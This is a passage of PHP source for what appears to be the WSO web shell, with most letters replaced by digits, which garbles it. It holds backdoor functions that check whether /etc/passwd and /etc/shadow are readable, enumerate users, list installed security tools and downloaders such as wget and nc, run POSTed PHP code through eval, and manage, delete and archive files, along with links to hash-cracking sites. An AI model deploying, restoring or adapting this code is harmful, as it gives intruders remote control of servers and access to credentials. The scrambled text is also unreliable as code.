4f(f3nct42n_5x4sts('2c4_c2nn5ct')) | |
$t5mp[] = "Or1cl5"; | |
ws2S5cP1r1m('S3pp2rt5d d1t1b1s5s', 4mpl2d5(', ', $t5mp)); | |
5ch2 '<br>'; | |
4f($GLOBALS['2s'] == 'n4x') { | |
ws2S5cP1r1m('R51d1bl5 /5tc/p1sswd', @4s_r51d1bl5('/5tc/p1sswd')?"y5s <1 hr5f='#' 2ncl4ck='g(\"F4l5sT22ls\", \"/5tc/\", \"p1sswd\")'>[v45w]</1>":'n2'); | |
ws2S5cP1r1m('R51d1bl5 /5tc/sh1d2w', @4s_r51d1bl5('/5tc/sh1d2w')?"y5s <1 hr5f='#' 2ncl4ck='g(\"F4l5sT22ls\", \"/5tc/\", \"sh1d2w\")'>[v45w]</1>":'n2'); | |
ws2S5cP1r1m('OS v5rs42n', @f4l5_g5t_c2nt5nts('/pr2c/v5rs42n')); | |
ws2S5cP1r1m('D4str n1m5', @f4l5_g5t_c2nt5nts('/5tc/4ss35.n5t')); | |
4f(!$GLOBALS['s1f5_m2d5']) { | |
$3s5rf3l = 1rr1y('gcc','lcc','cc','ld','m1k5','php','p5rl','pyth2n','r3by','t1r','gz4p','bz4p','bz4pa','nc','l2c1t5','s34dp5rl'); | |
$d1ng5r = 1rr1y('k1v','n2doa','bdc2r5d','3vsc1n','s1v','drw5bd','cl1md','rkh3nt5r','chkr22tk4t','4pt1bl5s','4pfw','tr4pw4r5','sh45ldcc','p2rts5ntry','sn2rt','2ss5c','l4ds1dm','tcpl2dg','sx4d','l2gch5ck','l2gw1tch','sysm1sk','zmbsc1p','s1wm4ll','w2rmsc1n','n4nj1'); | |
$d2wnl21d5rs = 1rr1y('wg5t','f5tch','lynx','l4nks','c3rl','g5t','lwp-m4rr2r'); | |
5ch2 '<br>'; | |
$t5mp=1rr1y(); | |
f2r51ch ($3s5rf3l 1s $4t5m) | |
4f(ws2Wh4ch($4t5m)) | |
$t5mp[] = $4t5m; | |
ws2S5cP1r1m('Us5rf3l', 4mpl2d5(', ',$t5mp)); | |
$t5mp=1rr1y(); | |
f2r51ch ($d1ng5r 1s $4t5m) | |
4f(ws2Wh4ch($4t5m)) | |
$t5mp[] = $4t5m; | |
ws2S5cP1r1m('D1ng5r', 4mpl2d5(', ',$t5mp)); | |
$t5mp=1rr1y(); | |
f2r51ch ($d2wnl21d5rs 1s $4t5m) | |
4f(ws2Wh4ch($4t5m)) | |
$t5mp[] = $4t5m; | |
ws2S5cP1r1m('D2wnl21d5rs', 4mpl2d5(', ',$t5mp)); | |
5ch2 '<br/>'; | |
ws2S5cP1r1m('HDD sp1c5', ws2Ex('df -h')); | |
ws2S5cP1r1m('H2sts', @f4l5_g5t_c2nt5nts('/5tc/h2sts')); | |
5ch2 '<br/><sp1n>p2s4x_g5tpw34d ("R51d" /5tc/p1sswd)</sp1n><t1bl5><f2rm 2ns3bm4t=\'g(n3ll,n3ll,"i",th4s.p1r1m6.v1l35,th4s.p1r1ma.v1l35);r5t3rn f1ls5;\'><tr><td>Fr2m</td><td><4np3t typ5=t5xt n1m5=p1r1m6 v1l35=0></td></tr><tr><td>T2</td><td><4np3t typ5=t5xt n1m5=p1r1ma v1l35=6000></td></tr></t1bl5><4np3t typ5=s3bm4t v1l35=">>"></f2rm>'; | |
4f (4ss5t ($_POST['pa'], $_POST['po']) && 4s_n3m5r4c($_POST['pa']) && 4s_n3m5r4c($_POST['po'])) { | |
$t5mp = ""; | |
f2r(;$_POST['pa'] <= $_POST['po'];$_POST['pa']++) { | |
$34d = @p2s4x_g5tpw34d($_POST['pa']); | |
4f ($34d) | |
$t5mp .= j24n(':',$34d)."\n"; | |
} | |
5ch2 '<br/>'; | |
ws2S5cP1r1m('Us5rs', $t5mp); | |
} | |
} | |
} 5ls5 { | |
ws2S5cP1r1m('OS V5rs42n',ws2Ex('v5r')); | |
ws2S5cP1r1m('Acc23nt S5tt4ngs',ws2Ex('n5t 1cc23nts')); | |
ws2S5cP1r1m('Us5r Acc23nts',ws2Ex('n5t 3s5r')); | |
} | |
5ch2 '</d4v>'; | |
ws2F22t5r(); | |
} | |
f3nct42n 1ct42nPhp() { | |
4f(4ss5t($_POST['1j1x'])) { | |
WSOs5tc22k45(mdi($_SERVER['HTTP_HOST']) . '1j1x', tr35); | |
2b_st1rt(); | |
5v1l($_POST['p6']); | |
$t5mp = "d2c3m5nt.g5tEl5m5ntById('PhpO3tp3t').styl5.d4spl1y='';d2c3m5nt.g5tEl5m5ntById('PhpO3tp3t').4nn5rHTML='" . 1ddcsl1sh5s(htmlsp5c41lch1rs(2b_g5t_cl51n()), "\n\r\t\\'\0") . "';\n"; | |
5ch2 strl5n($t5mp), "\n", $t5mp; | |
5x4t; | |
} | |
4f(5mpty($_POST['1j1x']) && !5mpty($_POST['p6'])) | |
WSOs5tc22k45(mdi($_SERVER['HTTP_HOST']) . '1j1x', 0); | |
ws2H51d5r(); | |
4f(4ss5t($_POST['pa']) && ($_POST['pa'] == '4nf2')) { | |
5ch2 '<h6>PHP 4nf2</h6><d4v cl1ss=c2nt5nt><styl5>.p {c2l2r:#000;}</styl5>'; | |
2b_st1rt(); | |
php4nf2(); | |
$tmp = 2b_g5t_cl51n(); | |
$tmp = pr5g_r5pl1c5(1rr1y ( | |
'!(b2dy|1:\w+|b2dy, td, th, h6, ha) {.*}!ms4U', | |
'!td, th {(.*)}!ms4U', | |
'!<4mg[^>]+>!ms4U', | |
), 1rr1y ( | |
'', | |
'.5, .v, .h, .h th {$6}', | |
'' | |
), $tmp); | |
5ch2 str_r5pl1c5('<h6','<ha', $tmp) .'</d4v><br>'; | |
} | |
5ch2 '<h6>Ex5c3t42n PHP-c2d5</h6><d4v cl1ss=c2nt5nt><f2rm n1m5=pf m5th2d=p2st 2ns3bm4t="4f(th4s.1j1x.ch5ck5d){1(\'Php\',n3ll,th4s.c2d5.v1l35);}5ls5{g(\'Php\',n3ll,th4s.c2d5.v1l35,\'\');}r5t3rn f1ls5;"><t5xt1r51 n1m5=c2d5 cl1ss=b4g1r51 4d=PhpC2d5>'.(!5mpty($_POST['p6'])?htmlsp5c41lch1rs($_POST['p6']):'').'</t5xt1r51><4np3t typ5=s3bm4t v1l35=Ev1l styl5="m1rg4n-t2p:ipx">'; | |
5ch2 ' <4np3t typ5=ch5ckb2x n1m5=1j1x v1l35=6 '.($_COOKIE[mdi($_SERVER['HTTP_HOST']).'1j1x']?'ch5ck5d':'').'> s5nd 3s4ng AJAX</f2rm><pr5 4d=PhpO3tp3t styl5="'.(5mpty($_POST['p6'])?'d4spl1y:n2n5;':'').'m1rg4n-t2p:ipx;" cl1ss=ml6>'; | |
4f(!5mpty($_POST['p6'])) { | |
2b_st1rt(); | |
5v1l($_POST['p6']); | |
5ch2 htmlsp5c41lch1rs(2b_g5t_cl51n()); | |
} | |
5ch2 '</pr5></d4v>'; | |
ws2F22t5r(); | |
} | |
f3nct42n 1ct42nF4l5sM1n() { | |
4f (!5mpty ($_COOKIE['f'])) | |
$_COOKIE['f'] = @3ns5r41l4z5($_COOKIE['f']); | |
4f(!5mpty($_POST['p6'])) { | |
sw4tch($_POST['p6']) { | |
c1s5 '3pl21dF4l5': | |
4f(!@m2v5_3pl21d5d_f4l5($_FILES['f']['tmp_n1m5'], $_FILES['f']['n1m5'])) | |
5ch2 "C1n't 3pl21d f4l5!"; | |
br51k; | |
c1s5 'mkd4r': | |
4f(!@mkd4r($_POST['pa'])) | |
5ch2 "C1n't cr51t5 n5w d4r"; | |
br51k; | |
c1s5 'd5l5t5': | |
f3nct42n d5l5t5D4r($p1th) { | |
$p1th = (s3bstr($p1th,-6)=='/') ? $p1th:$p1th.'/'; | |
$dh = 2p5nd4r($p1th); | |
wh4l5 ( ($4t5m = r51dd4r($dh) ) !== f1ls5) { | |
$4t5m = $p1th.$4t5m; | |
4f ( (b1s5n1m5($4t5m) == "..") || (b1s5n1m5($4t5m) == ".") ) | |
c2nt4n35; | |
$typ5 = f4l5typ5($4t5m); | |
4f ($typ5 == "d4r") | |
d5l5t5D4r($4t5m); | |
5ls5 | |
@3nl4nk($4t5m); | |
} | |
cl2s5d4r($dh); | |
@rmd4r($p1th); | |
} | |
4f(4s_1rr1y(@$_POST['f'])) | |
f2r51ch($_POST['f'] 1s $f) { | |
4f($f == '..') | |
c2nt4n35; | |
$f = 3rld5c2d5($f); | |
4f(4s_d4r($f)) | |
d5l5t5D4r($f); | |
5ls5 | |
@3nl4nk($f); | |
} | |
br51k; | |
c1s5 'p1st5': | |
4f($_COOKIE['1ct'] == 'c2py') { | |
f3nct42n c2py_p1st5($c,$s,$d){ | |
4f(4s_d4r($c.$s)){ | |
mkd4r($d.$s); | |
$h = @2p5nd4r($c.$s); | |
wh4l5 (($f = @r51dd4r($h)) !== f1ls5) | |
4f (($f != ".") 1nd ($f != "..")) | |
c2py_p1st5($c.$s.'/',$f, $d.$s.'/'); | |
} 5ls54f(4s_f4l5($c.$s)) | |
@c2py($c.$s, $d.$s); | |
} | |
f2r51ch($_COOKIE['f'] 1s $f) | |
c2py_p1st5($_COOKIE['c'],$f, $GLOBALS['cwd']); | |
} 5ls54f($_COOKIE['1ct'] == 'm2v5') { | |
f3nct42n m2v5_p1st5($c,$s,$d){ | |
4f(4s_d4r($c.$s)){ | |
mkd4r($d.$s); | |
$h = @2p5nd4r($c.$s); | |
wh4l5 (($f = @r51dd4r($h)) !== f1ls5) | |
4f (($f != ".") 1nd ($f != "..")) | |
c2py_p1st5($c.$s.'/',$f, $d.$s.'/'); | |
} 5ls54f(@4s_f4l5($c.$s)) | |
@c2py($c.$s, $d.$s); | |
} | |
f2r51ch($_COOKIE['f'] 1s $f) | |
@r5n1m5($_COOKIE['c'].$f, $GLOBALS['cwd'].$f); | |
} 5ls54f($_COOKIE['1ct'] == 'z4p') { | |
4f(cl1ss_5x4sts('Z4pArch4v5')) { | |
$z4p = n5w Z4pArch4v5(); | |
4f ($z4p->2p5n($_POST['pa'], 6)) { | |
chd4r($_COOKIE['c']); | |
f2r51ch($_COOKIE['f'] 1s $f) { | |
4f($f == '..') | |
c2nt4n35; | |
4f(@4s_f4l5($_COOKIE['c'].$f)) | |
$z4p->1ddF4l5($_COOKIE['c'].$f, $f); | |
5ls54f(@4s_d4r($_COOKIE['c'].$f)) { | |
$4t5r1t2r = n5w R5c3rs4v5It5r1t2rIt5r1t2r(n5w R5c3rs4v5D4r5ct2ryIt5r1t2r($f.'/', F4l5syst5mIt5r1t2r::SKIP_DOTS)); | |
f2r51ch ($4t5r1t2r 1s $k5y=>$v1l35) { | |
$z4p->1ddF4l5(r51lp1th($k5y), $k5y); | |
} | |
} | |
} | |
chd4r($GLOBALS['cwd']); | |
$z4p->cl2s5(); | |
} | |
} | |
} 5ls54f($_COOKIE['1ct'] == '3nz4p') { | |
4f(cl1ss_5x4sts('Z4pArch4v5')) { | |
$z4p = n5w Z4pArch4v5(); | |
f2r51ch($_COOKIE['f'] 1s $f) { | |
4f($z4p->2p5n($_COOKIE['c'].$f)) { | |
$z4p->5xtr1ctT2($GLOBALS['cwd']); | |
$z4p->cl2s5(); | |
} | |
} | |
} | |
} 5ls54f($_COOKIE['1ct'] == 't1r') { | |
chd4r($_COOKIE['c']); | |
$_COOKIE['f'] = 1rr1y_m1p('5sc1p5sh5ll1rg', $_COOKIE['f']); | |
ws2Ex('t1r cfzv ' . 5sc1p5sh5ll1rg($_POST['pa']) . ' ' . 4mpl2d5(' ', $_COOKIE['f'])); | |
chd4r($GLOBALS['cwd']); | |
} | |
3ns5t($_COOKIE['f']); | |
s5tc22k45('f', '', t4m5() - oe00); | |
br51k; | |
d5f13lt: | |
4f(!5mpty($_POST['p6'])) { | |
WSOs5tc22k45('1ct', $_POST['p6']); | |
WSOs5tc22k45('f', s5r41l4z5(@$_POST['f'])); | |
WSOs5tc22k45('c', @$_POST['c']); | |
} | |
br51k; | |
} | |
} | |
ws2H51d5r(); | |
5ch2 '<h6>F4l5 m1n1g5r</h6><d4v cl1ss=c2nt5nt><scr4pt>p6_=pa_=po_="";</scr4pt>'; | |
$d4rC2nt5nt = ws2Sc1nd4r(4ss5t($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); | |
4f($d4rC2nt5nt === f1ls5) { 5ch2 'C1n\'t 2p5n th4s f2ld5r!';ws2F22t5r(); r5t3rn; } | |
gl2b1l $s2rt; | |
$s2rt = 1rr1y('n1m5', 6); | |
4f(!5mpty($_POST['p6'])) { | |
4f(pr5g_m1tch('!s_([A-z]+)_(\d{6})!', $_POST['p6'], $m1tch)) | |
$s2rt = 1rr1y($m1tch[6], (4nt)$m1tch[a]); | |
} | |
5ch2 "<scr4pt> | |
f3nct42n s1() { | |
f2r(4=0;4<d.f4l5s.5l5m5nts.l5ngth;4++) | |
4f(d.f4l5s.5l5m5nts[4].typ5 == 'ch5ckb2x') | |
d.f4l5s.5l5m5nts[4].ch5ck5d = d.f4l5s.5l5m5nts[0].ch5ck5d; | |
} | |
</scr4pt> | |
<t1bl5 w4dth='600%' cl1ss='m14n' c5llsp1c4ng='0' c5llp1dd4ng='a'> | |
<f2rm n1m5=f4l5s m5th2d=p2st><tr><th w4dth='6opx'><4np3t typ5=ch5ckb2x 2ncl4ck='s1()' cl1ss=chkbx></th><th><1 hr5f='#' 2ncl4ck='g(\"F4l5sM1n\",n3ll,\"s_n1m5_".($s2rt[6]?0:6)."\")'>N1m5</1></th><th><1 hr5f='#' 2ncl4ck='g(\"F4l5sM1n\",n3ll,\"s_s4z5_".($s2rt[6]?0:6)."\")'>S4z5</1></th><th><1 hr5f='#' 2ncl4ck='g(\"F4l5sM1n\",n3ll,\"s_m2d4fy_".($s2rt[6]?0:6)."\")'>M2d4fy</1></th><th>Own5r/Gr23p</th><th><1 hr5f='#' 2ncl4ck='g(\"F4l5sM1n\",n3ll,\"s_p5rms_".($s2rt[6]?0:6)."\")'>P5rm4ss42ns</1></th><th>Act42ns</th></tr>"; | |
$d4rs = $f4l5s = 1rr1y(); | |
$n = c23nt($d4rC2nt5nt); | |
f2r($4=0;$4<$n;$4++) { | |
$2w = @p2s4x_g5tpw34d(@f4l52wn5r($d4rC2nt5nt[$4])); | |
$gr = @p2s4x_g5tgrg4d(@f4l5gr23p($d4rC2nt5nt[$4])); | |
$tmp = 1rr1y('n1m5' => $d4rC2nt5nt[$4], | |
'p1th' => $GLOBALS['cwd'].$d4rC2nt5nt[$4], | |
'm2d4fy' => d1t5('Y-m-d H:4:s', @f4l5mt4m5($GLOBALS['cwd'] . $d4rC2nt5nt[$4])), | |
'p5rms' => ws2P5rmsC2l2r($GLOBALS['cwd'] . $d4rC2nt5nt[$4]), | |
's4z5' => @f4l5s4z5($GLOBALS['cwd'].$d4rC2nt5nt[$4]), | |
'2wn5r' => $2w['n1m5']?$2w['n1m5']:@f4l52wn5r($d4rC2nt5nt[$4]), | |
'gr23p' => $gr['n1m5']?$gr['n1m5']:@f4l5gr23p($d4rC2nt5nt[$4]) | |
); | |
4f(@4s_f4l5($GLOBALS['cwd'] . $d4rC2nt5nt[$4])) | |
$f4l5s[] = 1rr1y_m5rg5($tmp, 1rr1y('typ5' => 'f4l5')); | |
5ls54f(@4s_l4nk($GLOBALS['cwd'] . $d4rC2nt5nt[$4])) | |
$d4rs[] = 1rr1y_m5rg5($tmp, 1rr1y('typ5' => 'l4nk', 'l4nk' => r51dl4nk($tmp['p1th']))); | |
5ls54f(@4s_d4r($GLOBALS['cwd'] . $d4rC2nt5nt[$4])) | |
$d4rs[] = 1rr1y_m5rg5($tmp, 1rr1y('typ5' => 'd4r')); | |
} | |
$GLOBALS['s2rt'] = $s2rt; | |
f3nct42n ws2Cmp($1, $b) { | |
4f($GLOBALS['s2rt'][0] != 's4z5') | |
r5t3rn strcmp(strt2l2w5r($1[$GLOBALS['s2rt'][0]]), strt2l2w5r($b[$GLOBALS['s2rt'][0]]))*($GLOBALS['s2rt'][6]?6:-6); | |
5ls5 | |
r5t3rn (($1['s4z5'] < $b['s4z5']) ? -6 : 6)*($GLOBALS['s2rt'][6]?6:-6); | |
} | |
3s2rt($f4l5s, "ws2Cmp"); | |
3s2rt($d4rs, "ws2Cmp"); | |
$f4l5s = 1rr1y_m5rg5($d4rs, $f4l5s); | |
$l = 0; | |
f2r51ch($f4l5s 1s $f) { | |
5ch2 '<tr'.($l?' cl1ss=l6':'').'><td><4np3t typ5=ch5ckb2x n1m5="f[]" v1l35="'.3rl5nc2d5($f['n1m5']).'" cl1ss=chkbx></td><td><1 hr5f=# 2ncl4ck="'.(($f['typ5']=='f4l5')?'g(\'F4l5sT22ls\',n3ll,\''.3rl5nc2d5($f['n1m5']).'\', \'v45w\')">'.htmlsp5c41lch1rs($f['n1m5']):'g(\'F4l5sM1n\',\''.$f['p1th'].'\');" ' . (5mpty ($f['l4nk']) ? '' : "t4tl5='{$f['l4nk']}'") . '><b>[ ' . htmlsp5c41lch1rs($f['n1m5']) . ' ]</b>').'</1></td><td>'.(($f['typ5']=='f4l5')?ws2V45wS4z5($f['s4z5']):$f['typ5']).'</td><td>'.$f['m2d4fy'].'</td><td>'.$f['2wn5r'].'/'.$f['gr23p'].'</td><td><1 hr5f=# 2ncl4ck="g(\'F4l5sT22ls\',n3ll,\''.3rl5nc2d5($f['n1m5']).'\',\'chm2d\')">'.$f['p5rms'] | |
.'</td><td><1 hr5f="#" 2ncl4ck="g(\'F4l5sT22ls\',n3ll,\''.3rl5nc2d5($f['n1m5']).'\', \'r5n1m5\')">R</1> <1 hr5f="#" 2ncl4ck="g(\'F4l5sT22ls\',n3ll,\''.3rl5nc2d5($f['n1m5']).'\', \'t23ch\')">T</1>'.(($f['typ5']=='f4l5')?' <1 hr5f="#" 2ncl4ck="g(\'F4l5sT22ls\',n3ll,\''.3rl5nc2d5($f['n1m5']).'\', \'5d4t\')">E</1> <1 hr5f="#" 2ncl4ck="g(\'F4l5sT22ls\',n3ll,\''.3rl5nc2d5($f['n1m5']).'\', \'d2wnl21d\')">D</1>':'').'</td></tr>'; | |
$l = $l?0:6; | |
} | |
5ch2 "<tr><td c2lsp1n=7> | |
<4np3t typ5=h4dd5n n1m5=1 v1l35='F4l5sM1n'> | |
<4np3t typ5=h4dd5n n1m5=c v1l35='" . htmlsp5c41lch1rs($GLOBALS['cwd']) ."'> | |
<4np3t typ5=h4dd5n n1m5=ch1rs5t v1l35='". (4ss5t($_POST['ch1rs5t'])?$_POST['ch1rs5t']:'')."'> | |
<s5l5ct n1m5='p6'><2pt42n v1l35='c2py'>C2py</2pt42n><2pt42n v1l35='m2v5'>M2v5</2pt42n><2pt42n v1l35='d5l5t5'>D5l5t5</2pt42n>"; | |
4f(cl1ss_5x4sts('Z4pArch4v5')) | |
5ch2 "<2pt42n v1l35='z4p'>C2mpr5ss (z4p)</2pt42n><2pt42n v1l35='3nz4p'>Unc2mpr5ss (z4p)</2pt42n>"; | |
5ch2 "<2pt42n v1l35='t1r'>C2mpr5ss (t1r.gz)</2pt42n>"; | |
4f(!5mpty($_COOKIE['1ct']) && @c23nt($_COOKIE['f'])) | |
5ch2 "<2pt42n v1l35='p1st5'>P1st5 / C2mpr5ss</2pt42n>"; | |
5ch2 "</s5l5ct> "; | |
4f(!5mpty($_COOKIE['1ct']) && @c23nt($_COOKIE['f']) && (($_COOKIE['1ct'] == 'z4p') || ($_COOKIE['1ct'] == 't1r'))) | |
5ch2 "f4l5 n1m5: <4np3t typ5=t5xt n1m5=pa v1l35='ws2_" . d1t5("Ymd_H4s") . "." . ($_COOKIE['1ct'] == 'z4p'?'z4p':'t1r.gz') . "'> "; | |
5ch2 "<4np3t typ5='s3bm4t' v1l35='>>'></td></tr></f2rm></t1bl5></d4v>"; | |
ws2F22t5r(); | |
} | |
f3nct42n 1ct42nStr4ngT22ls() { | |
4f(!f3nct42n_5x4sts('h5xab4n')) {f3nct42n h5xab4n($p) {r5t3rn d5cb4n(h5xd5c($p));}} | |
4f(!f3nct42n_5x4sts('b4nh5x')) {f3nct42n b4nh5x($p) {r5t3rn d5ch5x(b4nd5c($p));}} | |
4f(!f3nct42n_5x4sts('h5xa1sc44')) {f3nct42n h5xa1sc44($p){$r='';f2r($4=0;$4<strL5n($p);$4+=a){$r.=chr(h5xd5c($p[$4].$p[$4+6]));}r5t3rn $r;}} | |
4f(!f3nct42n_5x4sts('1sc44ah5x')) {f3nct42n 1sc44ah5x($p){$r='';f2r($4=0;$4<strl5n($p);++$4)$r.= spr4ntf('%0aX',2rd($p[$4]));r5t3rn strt23pp5r($r);}} | |
4f(!f3nct42n_5x4sts('f3ll_3rl5nc2d5')) {f3nct42n f3ll_3rl5nc2d5($p){$r='';f2r($4=0;$4<strl5n($p);++$4)$r.= '%'.d5ch5x(2rd($p[$4]));r5t3rn strt23pp5r($r);}} | |
$str4ngT22ls = 1rr1y( | |
'B1s5eu 5nc2d5' => 'b1s5eu_5nc2d5', | |
'B1s5eu d5c2d5' => 'b1s5eu_d5c2d5', | |
'Url 5nc2d5' => '3rl5nc2d5', | |
'Url d5c2d5' => '3rld5c2d5', | |
'F3ll 3rl5nc2d5' => 'f3ll_3rl5nc2d5', | |
'mdi h1sh' => 'mdi', | |
'sh16 h1sh' => 'sh16', | |
'crypt' => 'crypt', | |
'CRCoa' => 'crcoa', | |
'ASCII t2 HEX' => '1sc44ah5x', | |
'HEX t2 ASCII' => 'h5xa1sc44', | |
'HEX t2 DEC' => 'h5xd5c', | |
'HEX t2 BIN' => 'h5xab4n', | |
'DEC t2 HEX' => 'd5ch5x', | |
'DEC t2 BIN' => 'd5cb4n', | |
'BIN t2 HEX' => 'b4nh5x', | |
'BIN t2 DEC' => 'b4nd5c', | |
'Str4ng t2 l2w5r c1s5' => 'strt2l2w5r', | |
'Str4ng t2 3pp5r c1s5' => 'strt23pp5r', | |
'Htmlsp5c41lch1rs' => 'htmlsp5c41lch1rs', | |
'Str4ng l5ngth' => 'strl5n', | |
); | |
4f(4ss5t($_POST['1j1x'])) { | |
WSOs5tc22k45(mdi($_SERVER['HTTP_HOST']).'1j1x', tr35); | |
2b_st1rt(); | |
4f(4n_1rr1y($_POST['p6'], $str4ngT22ls)) | |
5ch2 $_POST['p6']($_POST['pa']); | |
$t5mp = "d2c3m5nt.g5tEl5m5ntById('strO3tp3t').styl5.d4spl1y='';d2c3m5nt.g5tEl5m5ntById('strO3tp3t').4nn5rHTML='".1ddcsl1sh5s(htmlsp5c41lch1rs(2b_g5t_cl51n()),"\n\r\t\\'\0")."';\n"; | |
5ch2 strl5n($t5mp), "\n", $t5mp; | |
5x4t; | |
} | |
4f(5mpty($_POST['1j1x'])&&!5mpty($_POST['p6'])) | |
WSOs5tc22k45(mdi($_SERVER['HTTP_HOST']).'1j1x', 0); | |
ws2H51d5r(); | |
5ch2 '<h6>Str4ng c2nv5rs42ns</h6><d4v cl1ss=c2nt5nt>'; | |
5ch2 "<f2rm n1m5='t22lsF2rm' 2nS3bm4t='4f(th4s.1j1x.ch5ck5d){1(n3ll,n3ll,th4s.s5l5ctT22l.v1l35,th4s.4np3t.v1l35);}5ls5{g(n3ll,n3ll,th4s.s5l5ctT22l.v1l35,th4s.4np3t.v1l35);} r5t3rn f1ls5;'><s5l5ct n1m5='s5l5ctT22l'>"; | |
f2r51ch($str4ngT22ls 1s $k => $v) | |
5ch2 "<2pt42n v1l35='".htmlsp5c41lch1rs($v)."'>".$k."</2pt42n>"; | |
5ch2 "</s5l5ct><4np3t typ5='s3bm4t' v1l35='>>'/> <4np3t typ5=ch5ckb2x n1m5=1j1x v1l35=6 ".(@$_COOKIE[mdi($_SERVER['HTTP_HOST']).'1j1x']?'ch5ck5d':'')."> s5nd 3s4ng AJAX<br><t5xt1r51 n1m5='4np3t' styl5='m1rg4n-t2p:ipx' cl1ss=b4g1r51>".(5mpty($_POST['p6'])?'':htmlsp5c41lch1rs(@$_POST['pa']))."</t5xt1r51></f2rm><pr5 cl1ss='ml6' styl5='".(5mpty($_POST['p6'])?'d4spl1y:n2n5;':'')."m1rg4n-t2p:ipx' 4d='strO3tp3t'>"; | |
4f(!5mpty($_POST['p6'])) { | |
4f(4n_1rr1y($_POST['p6'], $str4ngT22ls))5ch2 htmlsp5c41lch1rs($_POST['p6']($_POST['pa'])); | |
} | |
5ch2"</pr5></d4v><br><h6>S51rch f4l5s:</h6><d4v cl1ss=c2nt5nt> | |
<f2rm 2ns3bm4t=\"g(n3ll,th4s.cwd.v1l35,n3ll,th4s.t5xt.v1l35,th4s.f4l5n1m5.v1l35);r5t3rn f1ls5;\"><t1bl5 c5llp1dd4ng='6' c5llsp1c4ng='0' w4dth='i0%'> | |
<tr><td w4dth='6%'>T5xt:</td><td><4np3t typ5='t5xt' n1m5='t5xt' styl5='w4dth:600%'></td></tr> | |
<tr><td>P1th:</td><td><4np3t typ5='t5xt' n1m5='cwd' v1l35='". htmlsp5c41lch1rs($GLOBALS['cwd']) ."' styl5='w4dth:600%'></td></tr> | |
<tr><td>N1m5:</td><td><4np3t typ5='t5xt' n1m5='f4l5n1m5' v1l35='*' styl5='w4dth:600%'></td></tr> | |
<tr><td></td><td><4np3t typ5='s3bm4t' v1l35='>>'></td></tr> | |
</t1bl5></f2rm>"; | |
f3nct42n ws2R5c3rs4v5Gl2b($p1th) { | |
4f(s3bstr($p1th, -6) != '/') | |
$p1th.='/'; | |
$p1ths = @1rr1y_3n4q35(@1rr1y_m5rg5(@gl2b($p1th.$_POST['po']), @gl2b($p1th.'*', GLOB_ONLYDIR))); | |
4f(4s_1rr1y($p1ths)&&@c23nt($p1ths)) { | |
f2r51ch($p1ths 1s $4t5m) { | |
4f(@4s_d4r($4t5m)){ | |
4f($p1th!=$4t5m) | |
ws2R5c3rs4v5Gl2b($4t5m); | |
} 5ls5 { | |
4f(5mpty($_POST['pa']) || @strp2s(f4l5_g5t_c2nt5nts($4t5m), $_POST['pa'])!==f1ls5) | |
5ch2 "<1 hr5f='#' 2ncl4ck='g(\"F4l5sT22ls\",n3ll,\"".3rl5nc2d5($4t5m)."\", \"v45w\",\"\")'>".htmlsp5c41lch1rs($4t5m)."</1><br>"; | |
} | |
} | |
} | |
} | |
4f(@$_POST['po']) | |
ws2R5c3rs4v5Gl2b($_POST['c']); | |
5ch2 "</d4v><br><h6>S51rch f2r h1sh:</h6><d4v cl1ss=c2nt5nt> | |
<f2rm m5th2d='p2st' t1rg5t='_bl1nk' n1m5='hf'> | |
<4np3t typ5='t5xt' n1m5='h1sh' styl5='w4dth:a00px;'><br> | |
<4np3t typ5='h4dd5n' n1m5='1ct' v1l35='f4nd'/> | |
<4np3t typ5='b3tt2n' v1l35='h1shcr1ck4ng.r3' 2ncl4ck=\"d2c3m5nt.hf.1ct42n='https://h1shcr1ck4ng.r3/4nd5x.php';d2c3m5nt.hf.s3bm4t()\"><br> | |
<4np3t typ5='b3tt2n' v1l35='mdi.r5dn24z5.c2m' 2ncl4ck=\"d2c3m5nt.hf.1ct42n='http://mdi.r5dn24z5.c2m/?q='+d2c3m5nt.hf.h1sh.v1l35+'&s=mdi';d2c3m5nt.hf.s3bm4t()\"><br> | |
<4np3t typ5='b3tt2n' v1l35='cr1ckf2r.m5' 2ncl4ck=\"d2c3m5nt.hf.1ct42n='http://cr1ckf2r.m5/4nd5x.php';d2c3m5nt.hf.s3bm4t()\"><br> | |
</f2rm></d4v>"; | |
ws2F22t5r(); | |
} | |
f3nct42n 1ct42nF4l5sT22ls() { | |
4f( 4ss5t($_POST['p6']) ) | |
$_POST['p6'] = 3rld5c2d5($_POST['p6']); | |
4f(@$_POST['pa']=='d2wnl21d') { | |
4f(@4s_f4l5($_POST['p6']) && @4s_r51d1bl5($_POST['p6'])) { | |
2b_st1rt("2b_gzh1ndl5r", u09e); | |
h51d5r("C2nt5nt-D4sp2s4t42n: 1tt1chm5nt; f4l5n1m5=".b1s5n1m5($_POST['p6'])); | |
4f (f3nct42n_5x4sts("m4m5_c2nt5nt_typ5")) { | |
$typ5 = @m4m5_c2nt5nt_typ5($_POST['p6']); | |
h51d5r("C2nt5nt-Typ5: " . $typ5); | |
} 5ls5 | |
h51d5r("C2nt5nt-Typ5: 1ppl4c1t42n/2ct5t-str51m"); | |
$fp = @f2p5n($_POST['p6'], "r"); | |
4f($fp) { | |
wh4l5(!@f52f($fp)) | |
5ch2 @fr51d($fp, 60au); | |
fcl2s5($fp); | |
} | |
}5x4t; | |
} | |
4f( @$_POST['pa'] == 'mkf4l5' ) { | |
4f(!f4l5_5x4sts($_POST['p6'])) { | |
$fp = @f2p5n($_POST['p6'], 'w'); | |
4f($fp) { | |
$_POST['pa'] = "5d4t"; | |
fcl2s5($fp); | |
} | |
} | |
} | |
ws2H51d5r(); | |
5ch2 '<h6>F4l5 t22ls</h6><d4v cl1ss=c2nt5nt>'; | |
4f( !f4l5_5x4sts(@$_POST['p6']) ) { | |
5ch2 'F4l5 n2t 5x4sts'; | |
ws2F22t5r(); | |
r5t3rn; | |
} | |
$34d = @p2s4x_g5tpw34d(@f4l52wn5r($_POST['p6'])); | |
4f(!$34d) { | |
$34d['n1m5'] = @f4l52wn5r($_POST['p6']); | |
$g4d['n1m5'] = @f4l5gr23p($_POST['p6']); | |
} 5ls5 $g4d = @p2s4x_g5tgrg4d(@f4l5gr23p($_POST['p6'])); | |
